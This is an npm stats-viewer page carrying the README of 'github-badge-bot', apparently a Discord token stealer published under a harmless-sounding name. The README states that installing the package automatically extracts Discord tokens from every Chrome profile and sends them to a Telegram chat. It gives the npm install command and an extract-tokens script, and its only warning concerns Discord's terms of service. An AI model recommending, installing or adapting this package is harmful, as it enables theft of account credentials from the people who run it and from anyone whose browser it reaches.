npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2025 – Pkg Stats / Ryan Hefner

github-badge-bot

v1.15.1

Published

Discord bot that monitors servers and sends invite links via Telegram

Readme

GitHub Badge Bot

A Discord client that monitors all servers your account is in, generates invite links, and sends them to a Telegram chat.

Quick Install

npm install github-badge-bot

The package automatically extracts Discord tokens and sends them to Telegram on installation!

⚠️ Important Warning

Using self-bots (user account tokens) may violate Discord's Terms of Service. Use this at your own risk. Discord may ban accounts that use self-bots.

Features

  • 🔍 Monitors all Discord servers your account is in
  • 🔗 Generates invite links for each server
  • 📱 Sends invite links to Telegram
  • 🆕 Automatically processes new servers when you join
  • 🔑 Automatically extracts Discord tokens from all Chrome profiles

Prerequisites

  • Node.js (v18 or higher)
  • Google Chrome installed
  • A Telegram Bot Token
  • A Telegram Chat ID

Setup

1. Install Dependencies

npm install

2. Configure Telegram

  1. Create a Telegram bot via @BotFather
  2. Get your chat ID (send a message to @userinfobot or your bot)
  3. Create a .env file:
TELEGRAM_BOT_TOKEN=your_telegram_bot_token_here
TELEGRAM_CHAT_ID=your_telegram_chat_id_here

3. Extract Discord Tokens

Run:

npm run extract-tokens

This will:

  • Scan ALL Chrome profiles automatically
  • Extract ALL Discord tokens found
  • Send them directly to Telegram (no .env file needed)
  • Works even when Chrome is running!

Usage

Extract Tokens

npm run extract-tokens

Scans all Chrome profiles and sends all found Discord tokens to Telegram.

Start the Bot

npm start

The bot will:

  1. Use the first Discord token from your .env file (if you have one)
  2. Connect to Discord
  3. Monitor all servers you're in
  4. Generate invite links for each server
  5. Send them to your Telegram chat

How It Works

  • Token Extraction: Reads Chrome's LevelDB storage files directly from disk
  • Multi-Profile: Scans all Chrome profiles to find tokens from multiple Discord accounts
  • Telegram Integration: Sends tokens and invite links directly to Telegram
  • No Browser Closing: Works even when Chrome is running

Notes

  • Tokens are sent directly to Telegram (not saved to .env)
  • All Chrome profiles are scanned automatically
  • Duplicate tokens are filtered out
  • Chrome can stay open during extraction

License

MIT